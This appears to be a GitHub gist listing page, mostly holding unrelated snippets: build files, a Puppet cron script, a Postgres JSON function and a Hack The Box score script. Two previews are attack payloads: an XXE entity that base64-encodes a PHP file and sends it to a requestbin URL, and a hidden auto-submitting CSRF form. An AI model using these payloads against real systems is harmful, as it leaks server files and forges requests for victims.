Skip to content

Instantly share code, notes, and snippets.

@icot
icot / ownership.py
Last active November 17, 2018 13:50
HTB Ownership computation
#!/usr/bin/env python3
from termcolor import colored
ASOwns = 3
AUOwns = 3
COwns = 34
AMs = 20
Challenges = 62
df 2>&1 |grep -oP '‘\K[^’]+'
<!ENTITY % payl SYSTEM "php://filter/convert.base64-encode/resource=user_data.php">
<!ENTITY % xxe "<!ENTITY exfil SYSTEM 'https://requestbin.fullcontact.com/1k7wnmd1?p=%payl;'>">
#!/bin/bash
# Script executed by the cronjob responsible for synchronize system
# packages with the ones reflected in the repository
# This file is generated by puppet don't touch it.
# It is possible to add -x <packageA> -x <packageB> to this file using the
# hiera variable, e.g
# osrepos_sync_exclude_packages:
# - openssh
# - cvmfs
#!/bin/bash
# Script executed by the cronjob responsible for synchronize system
# packages with the ones reflected in the repository
# This file is generated by puppet don't touch it.
# It is possible to add -x <packageA> -x <packageB> to this file using the
# hiera variable, e.g
# osrepos_sync_exclude_packages:
# - openssh
# - cvmfs
@icot
icot / gist:f058c7b9144f8d530397ada875f804e8
Created April 7, 2016 16:20
Stored procedure for updating a JSON object in PG
-- https://stackoverflow.com/questions/18209625/how-do-i-modify-fields-inside-the-new-postgresql-json-datatype
-- Works as upsert (creates the key if it doesn't exist)
CREATE OR REPLACE FUNCTION "json_object_set_keys"(
"json" json,
"keys_to_set" TEXT[],
"values_to_set" anyarray
)
RETURNS json
@icot
icot / csrf.html
Created February 26, 2015 20:34
csrf.html
<html>
<body>
<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe>-->
<form method="POST" name="csrf" action="http://requestb.in/13pjzdq1"/>
<input type="hidden" name="cake" value="The cake is a lie" />
<script>document.csrf.submit();</script>
</body>
</html>
@icot
icot / dbod-build.gradle
Created February 26, 2015 13:56
dbod build.gradle
apply plugin: 'java'
apply plugin: 'war'
apply plugin: 'com.bmuschko.cargo' // For Tomcat deployments
version = '5.20'
// Sets JDK 1.7
sourceCompatibility = 1.7
targetCompatibility = 1.7
@icot
icot / dbod pom.xml
Created February 26, 2015 13:55
dbod pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>ch.cern</groupId>
<artifactId>DBOnDemand</artifactId>
<version>5.2.0</version>
<packaging>war</packaging>
<name>DBOnDemand</name>
@icot
icot / gist:0abcfdbf06d6e0afdc04
Created October 27, 2014 11:10
Kibana url host metrics
https://dashboards.cern.ch/public/_plugin/kibana/#/dashboard/elasticsearch/Metrics:%20Host?query=@fields.entity:db-50020